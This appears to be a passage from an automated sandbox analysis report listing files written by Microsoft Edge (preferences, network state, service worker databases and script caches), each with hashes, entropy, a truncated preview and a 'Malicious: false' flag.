Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378493262951891","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378493265318047","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d7647b9f-982c-400e-8d97-30ff072bfbd8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\dcb5d212-8fce-4b7f-bc05-2cd35fe3a0a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12533
Entropy (8bit):	5.196515989842328
Encrypted:	false
SSDEEP:	192:stOJ99QTryDigabatSuypEsZoaFvrE9k3TD8abV+FmVQAhUkP1YJ:stOPGKSu4EsZoCD5bGoQvD
MD5:	7326A5A06801A9E54A243E58C05BC046
SHA1:	083DC68A31603061D50ECE42F63B1C44CE880AA0
SHA-256:	AC14D6F4F70224E9CF42C74F6A7C06ED70CCB1E987D7D7E2040DFC90FD733C07
SHA-512:	F9D3C961CE8B027FA627057097F551A47D989D0BA98A05459FC05A1389FA57C1668173E20420889245DA4EC8C35754D8FA36C1566D74304B169C04349A7DBED7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF409d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12533
Entropy (8bit):	5.196515989842328
Encrypted:	false
SSDEEP:	192:stOJ99QTryDigabatSuypEsZoaFvrE9k3TD8abV+FmVQAhUkP1YJ:stOPGKSu4EsZoCD5bGoQvD
MD5:	7326A5A06801A9E54A243E58C05BC046
SHA1:	083DC68A31603061D50ECE42F63B1C44CE880AA0
SHA-256:	AC14D6F4F70224E9CF42C74F6A7C06ED70CCB1E987D7D7E2040DFC90FD733C07
SHA-512:	F9D3C961CE8B027FA627057097F551A47D989D0BA98A05459FC05A1389FA57C1668173E20420889245DA4EC8C35754D8FA36C1566D74304B169C04349A7DBED7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43f09.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12533
Entropy (8bit):	5.196515989842328
Encrypted:	false
SSDEEP:	192:stOJ99QTryDigabatSuypEsZoaFvrE9k3TD8abV+FmVQAhUkP1YJ:stOPGKSu4EsZoCD5bGoQvD
MD5:	7326A5A06801A9E54A243E58C05BC046
SHA1:	083DC68A31603061D50ECE42F63B1C44CE880AA0
SHA-256:	AC14D6F4F70224E9CF42C74F6A7C06ED70CCB1E987D7D7E2040DFC90FD733C07
SHA-512:	F9D3C961CE8B027FA627057097F551A47D989D0BA98A05459FC05A1389FA57C1668173E20420889245DA4EC8C35754D8FA36C1566D74304B169C04349A7DBED7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF469d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12533
Entropy (8bit):	5.196515989842328
Encrypted:	false
SSDEEP:	192:stOJ99QTryDigabatSuypEsZoaFvrE9k3TD8abV+FmVQAhUkP1YJ:stOPGKSu4EsZoCD5bGoQvD
MD5:	7326A5A06801A9E54A243E58C05BC046
SHA1:	083DC68A31603061D50ECE42F63B1C44CE880AA0
SHA-256:	AC14D6F4F70224E9CF42C74F6A7C06ED70CCB1E987D7D7E2040DFC90FD733C07
SHA-512:	F9D3C961CE8B027FA627057097F551A47D989D0BA98A05459FC05A1389FA57C1668173E20420889245DA4EC8C35754D8FA36C1566D74304B169C04349A7DBED7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4c62b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12533
Entropy (8bit):	5.196515989842328
Encrypted:	false
SSDEEP:	192:stOJ99QTryDigabatSuypEsZoaFvrE9k3TD8abV+FmVQAhUkP1YJ:stOPGKSu4EsZoCD5bGoQvD
MD5:	7326A5A06801A9E54A243E58C05BC046
SHA1:	083DC68A31603061D50ECE42F63B1C44CE880AA0
SHA-256:	AC14D6F4F70224E9CF42C74F6A7C06ED70CCB1E987D7D7E2040DFC90FD733C07
SHA-512:	F9D3C961CE8B027FA627057097F551A47D989D0BA98A05459FC05A1389FA57C1668173E20420889245DA4EC8C35754D8FA36C1566D74304B169C04349A7DBED7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554483898731073
Encrypted:	false
SSDEEP:	768:8wTcnIWww7pLGLp8eW5wa8f4aH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPCVIw9gJf:8sOIL8cp8eWaa8fzHu1jaj/i6XRK79zj
MD5:	4C34C33E31A655150EE41DB8BCA2B049
SHA1:	EB19228BFE46B0F10C29E89B70BE050B44B83000
SHA-256:	8A49568910E6CDAF899850D5C575F47ACFA460ED25464189B7B32613D4CD8049
SHA-512:	2324811B2BDD41FAC0B51EB46E3751CDD2A83A29445938461482E3B986C66AA5F92841ACDDB8FF59CD0D0DAB8797AA0D2F5F8E1060E70360A8E426E53FD39340
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375901260229533","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375901260229533","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4243d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554483898731073
Encrypted:	false
SSDEEP:	768:8wTcnIWww7pLGLp8eW5wa8f4aH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPCVIw9gJf:8sOIL8cp8eWaa8fzHu1jaj/i6XRK79zj
MD5:	4C34C33E31A655150EE41DB8BCA2B049
SHA1:	EB19228BFE46B0F10C29E89B70BE050B44B83000
SHA-256:	8A49568910E6CDAF899850D5C575F47ACFA460ED25464189B7B32613D4CD8049
SHA-512:	2324811B2BDD41FAC0B51EB46E3751CDD2A83A29445938461482E3B986C66AA5F92841ACDDB8FF59CD0D0DAB8797AA0D2F5F8E1060E70360A8E426E53FD39340
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375901260229533","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375901260229533","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.836058141822089
Encrypted:	false
SSDEEP:	48:F2emItrdD0fBZhXrdRBH9rdDXBZXHrdkBZw:F1mItxD0zlxRBH9xDbXHxgw
MD5:	BB44E0C632B6BF5E90826574CA71E4CA
SHA1:	EF46C97DFC16D81C0E9786E593AF3E87D7BD934C
SHA-256:	4513E55B2F137FAB07BBE611453B0F412C48D1390AEE82A14BDACC4E6178FF84
SHA-512:	337A5B2E0ABA3B2EC0C27E37A2E284C6EB653016A69FBF83D27FE055D729627C0BD38788CFBF040A9BB09629CBF74DE7B4CF75004A3D5CEF2E0F98A350F7EB9D
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2C...m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.130625424017571
Encrypted:	false
SSDEEP:	6:HU8D3M1N723oH+TcwtE/a252KLlVU8rjyq2PN723oH+TcwtE/a2ZIFUv:zsaYeb8xLDjyvVaYeb8J2FUv
MD5:	A83622A7E0AE1AA7400461208B975539
SHA1:	072B8B4C8D46F2836E58143FAABC95449445E989
SHA-256:	95E4E4AFE7AA9B1CC115E764057786B0F85574ED5B978F33DA44DE5E81B5C063
SHA-512:	9CE8B70CE66BEA7CFF36B565A2DEB3CB5E4F528FB45513738B97A1A4E14105AF4A79A2065E5006A4E4566D210C47F993F5455D697A69C62646DE261EC37FF2E9
Malicious:	false
Preview:	2024/11/12-11:07:53.834 1cc4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/12-11:07:53.853 1cc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113653
Entropy (8bit):	5.579712856605471
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH1V0dr4WriL/rDL/rGl:f9LyxPXfOrr1lMe1z6rWX1Qs2iL/HL/O
MD5:	0730173A82209376F1BB0BF5DE559F36
SHA1:	BCABF8BECBFEF46B95EA8FDFC243F761FC3E962F
SHA-256:	CD0C5E0C4C021E7879CCB8A53215DC036CF5FF007B4E616080FC162903A5642D
SHA-512:	58129265F64DD2E5B90E82406DD78E2C1E2A42A12721658455D033D91C8E26D740F914A5C8D82D8297DB6B7B0E61E092E7AB5A3CBB252AA373CBE2A98031FDE1
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187817
Entropy (8bit):	6.38092259640318
Encrypted:	false
SSDEEP:	3072:XcVWI/bK/3r4wxe75T2vKOX2h6YLCdXFbpAgnbMkL/dORHoC4vd:F4w/vlJPdVbp19L/sx4vd
MD5:	D82D483E7906585980AF9C068E68FFE2
SHA1:	6BAD0355761865199407CD35D9D015816A1B494F
SHA-256:	43F3F3A2DA2A64AE3320B75B7EC1086947F37363066B6B49A101F59FC7286BE7
SHA-512:	4792F0DD1F9FFB87C53CE837E767A4F7CD7E15CD7EFC00A3C27E2868023003D424047EFE0C2BDA9324A66028C77A051217D34436A08DAE360D27625CA52804D8
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTP........,T.8..`,.....L`.....,T...`......L`......Rc.#.,....exports...Rc~.z....module....Rc........define....Rb.[......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.r..Fb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:czuC00Xl/lrV/lxE0tllzRDn:czuG60L
MD5:	02E87A09A0239C99578A155E4C9BE45A
SHA1:	74841619055B22483004421469DE0DF3CD64BFC3
SHA-256:	08A7F5CAB21671F8E525F70F8C187E5476F543ABF27B7094FFBF044EFFE92F39
SHA-512:	7E2924D6C0BA1C14EDE62EE6E21215DC1004D54FADE23D76B0A5D8C8EBA457DF5D30F3E906710FA5565155B15C85A8018033390DBB1E97D16147D048968CF7D1
Malicious:	false
Preview:	@...i..oy retne.........................X....,....................O./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:czuC00Xl/lrV/lxE0tllzRDn:czuG60L
MD5:	02E87A09A0239C99578A155E4C9BE45A
SHA1:	74841619055B22483004421469DE0DF3CD64BFC3
SHA-256:	08A7F5CAB21671F8E525F70F8C187E5476F543ABF27B7094FFBF044EFFE92F39
SHA-512:	7E2924D6C0BA1C14EDE62EE6E21215DC1004D54FADE23D76B0A5D8C8EBA457DF5D30F3E906710FA5565155B15C85A8018033390DBB1E97D16147D048968CF7D1
Malicious:	false
Preview:	@...i..oy retne.........................X....,....................O./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF43bad.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:czuC00Xl/lrV/lxE0tllzRDn:czuG60L
MD5:	02E87A09A0239C99578A155E4C9BE45A
SHA1:	74841619055B22483004421469DE0DF3CD64BFC3
SHA-256:	08A7F5CAB21671F8E525F70F8C187E5476F543ABF27B7094FFBF044EFFE92F39
SHA-512:	7E2924D6C0BA1C14EDE62EE6E21215DC1004D54FADE23D76B0A5D8C8EBA457DF5D30F3E906710FA5565155B15C85A8018033390DBB1E97D16147D048968CF7D1
Malicious:	false
Preview:	@...i..oy retne.........................X....,....................O./.

